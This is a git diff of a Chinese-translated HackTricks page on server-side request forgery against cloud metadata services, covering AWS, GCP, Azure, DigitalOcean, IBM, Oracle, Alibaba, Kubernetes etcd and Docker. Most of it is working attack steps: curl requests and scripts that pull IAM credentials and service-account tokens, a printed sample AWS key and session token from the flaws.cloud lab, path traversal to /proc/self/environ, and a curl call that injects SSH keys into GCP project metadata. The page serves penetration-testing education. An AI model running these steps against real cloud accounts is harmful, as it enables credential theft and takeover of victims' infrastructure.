Translated ['pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.

This commit is contained in:
Translator 2024-03-03 13:57:49 +00:00
parent de3ceecba8
commit e79407e8ca

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
@ -31,7 +31,7 @@
有**2个版本**的元数据端点。**第一个**版本允许通过**GET**请求访问端点(因此任何**SSRF都可以利用它**)。对于**版本2**[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要发送带有**HTTP头**的**PUT**请求来请求一个**令牌**然后使用该令牌通过另一个HTTP头访问元数据因此使用SSRF**更加复杂**)。
{% hint style="danger" %}
请注意如果EC2实例正在强制执行IMDSv2[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)**PUT请求的响应**将具有**1个跳数限制**这将使得无法从EC2实例内部的容器访问EC2元数据。
请注意如果EC2实例正在强制执行IMDSv2[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)**PUT请求的响应**将具有**1个跳数限制**这将使得无法从EC2实例内部的容器访问EC2元数据。
此外,**IMDSv2**还将**阻止包含`X-Forwarded-For`头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。
{% endhint %}
@ -96,11 +96,11 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
作为公开可用的IAM凭证暴露示例您可以访问[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
作为公开可用的IAM凭证暴露示例,您可以访问:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
您还可以在以下位置检查公开的EC2安全凭证[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
然后您可以使用AWS CLI使用这些凭证。这将允许您执行该角色具有权限执行的**任何操作**
然后,您可以使用这些凭证与AWS CLI。这将允许您执行该角色具有权限执行的任何操作。
要利用新凭证您需要创建一个新的AWS配置文件如下所示
```
@ -109,16 +109,16 @@ aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
注意**aws\_session\_token**,这对配置文件的工作至关重要
注意**aws\_session\_token**,这对配置文件的工作是必不可少的
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用,以查您的权限并尝试提升权限
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用,以查您的权限并尝试提升权限
### AWS ECS容器服务凭据中的SSRF
**ECS**是一组逻辑EC2实例您可以在其中运行应用程序而无需扩展自己的集群管理基础设施因为ECS会为您管理。如果您成功地 compromise 了在**ECS**中运行的服务,则**元数据端点会更改**。
**ECS**是一组逻辑EC2实例您可以在其中运行应用程序而无需扩展自己的集群管理基础设施因为ECS会为您管理。如果您成功地妥协了在**ECS**中运行的服务,则**元数据端点会发生变化**。
如果您访问_**http://169.254.170.2/v2/credentials/\<GUID>**_您将找到ECS机器的凭据。但首先您需要**找到\<GUID>**。要找到\<GUID>,您需要读取机器内的**environ**变量**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**。\
您可以利用**Path Traversal**来读取`file:///proc/self/environ`\
您可以利用**路径遍历**到`file:///proc/self/environ`来读取它。\
上述的http地址应该提供给您**AccessKey、SecretKey和token**。
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
@ -137,10 +137,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
此外除了IAM凭据Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并且可能包含**敏感信息**(例如**stageVariables**中的信息。与IAM凭据不同此数据可通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。
此外除了IAM凭据Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并且可能包含**敏感信息**(例如**stageVariables**中的信息。与IAM凭据不同此数据可通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。
{% hint style="warning" %}
请注意,**lambda凭据**位于**环境变量**中。因此如果lambda代码的**堆栈跟踪**打印环境变量,可能会通过在应用程序中**引发错误**来**泄**它们。
请注意,**Lambda凭据**位于**环境变量**中。因此如果Lambda代码的**堆栈跟踪**打印环境变量,可能会通过在应用程序中**引发错误**来**泄**它们。
{% endhint %}
### 用于AWS Elastic Beanstalk的SSRF URL <a href="#id-6f97" id="id-6f97"></a>
@ -156,7 +156,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
然后我们使用这些凭据执行 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`
然后我们使用这些凭据 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`
## GCP <a href="#id-6440" id="id-6440"></a>
@ -164,7 +164,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>
需要使用 HTTP 头 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
需要 HTTP **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
* http://169.254.169.254
* http://metadata.google.internal
@ -255,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
为了**使用外泄的服务账户令牌**你可以执行以下操作:
为了**使用外泄的服务账户令牌**您只需执行以下操作:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@ -275,7 +275,7 @@ gcloud config unset auth/access_token_file
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
检查令牌的范围(使用先前的输出或运行以下命令
检查令牌的范围(使用先前的输出或运行以下内容
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
@ -294,9 +294,9 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
## 云函数 <a href="#id-9f1f" id="id-9f1f"></a>
### 云函数 <a href="#id-9f1f" id="id-9f1f"></a>
元数据端点的工作方式与虚拟机中相同,但没有一些端点:
元数据端点的工作方式与虚拟机中相同,但没有一些端点:
```bash
# /project
# Project name and number
@ -324,10 +324,10 @@ done
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
没有AWS角色或GCP服务账户之类的东西,所以不要期望找到元数据机器凭证
没有像 AWS 角色或 GCP 服务账户那样的东西,所以不要期望找到元数据机器凭证
{% endhint %}
文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)找到
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
@ -341,7 +341,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞这样您就可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
找到最重要的漏洞这样您就可以更快地修复它们。Intruder跟踪您的攻击面运行积极的威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -479,7 +479,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM 云 <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
请注意,在 IBM 中,默认情况下未启用元数据,因此即使您在 IBM 云虚拟机内部,也可能无法访问元数据
请注意,在 IBM 中,默认情况下未启用元数据,因此即使您在 IBM 云虚拟机内部,也可能无法访问
{% endhint %}
{% code overflow="wrap" %}
@ -506,58 +506,82 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}
各平台的元数据服务文档如下,突出了可以访问实例配置和运行时信息的方法。每个平台都提供独特的端点来访问其元数据服务。
## Packetcloud
要访问Packetcloud的元数据请查看文档[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
要访问Packetcloud的元数据可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
没有提到需要头部信息。可以通过以下方式访问元数据:
- `http://169.254.169.254/openstack`
* `http://169.254.169.254/openstack`
## HP Helion
这里也没有提到需要头部信息。可以在以下位置访问元数据:
- `http://169.254.169.254/2009-04-04/meta-data/`
* `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud提供一系列端点来访问各种元数据方面
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
- `http://192.0.0.192/latest/meta-data/`
- `http://192.0.0.192/latest/attributes/`
* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`
## Alibaba
阿里巴巴提供用于访问元数据的端点包括实例和镜像ID
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
- `http://100.100.100.200/latest/meta-data/image-id`
* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方如下:
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方如下:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
可以在本地访问Docker元数据示例显示了如何检索容器和镜像信息
可以在本地访问Docker元数据提供了有关容器和镜像信息检索的示例
- 通过Docker套接字访问容器和镜像元数据的简单示例
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- 在容器内使用Docker套接字和curl
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
* 通过Docker套接字访问容器和镜像元数据的简单示例
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* 在容器内部使用带有Docker套接字的curl
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
可以使用以下方式访问Rancher的元数据
- `curl http://rancher-metadata/<version>/<path>`
* `curl http://rancher-metadata/<version>/<path>`
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)我们独家NFT的收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>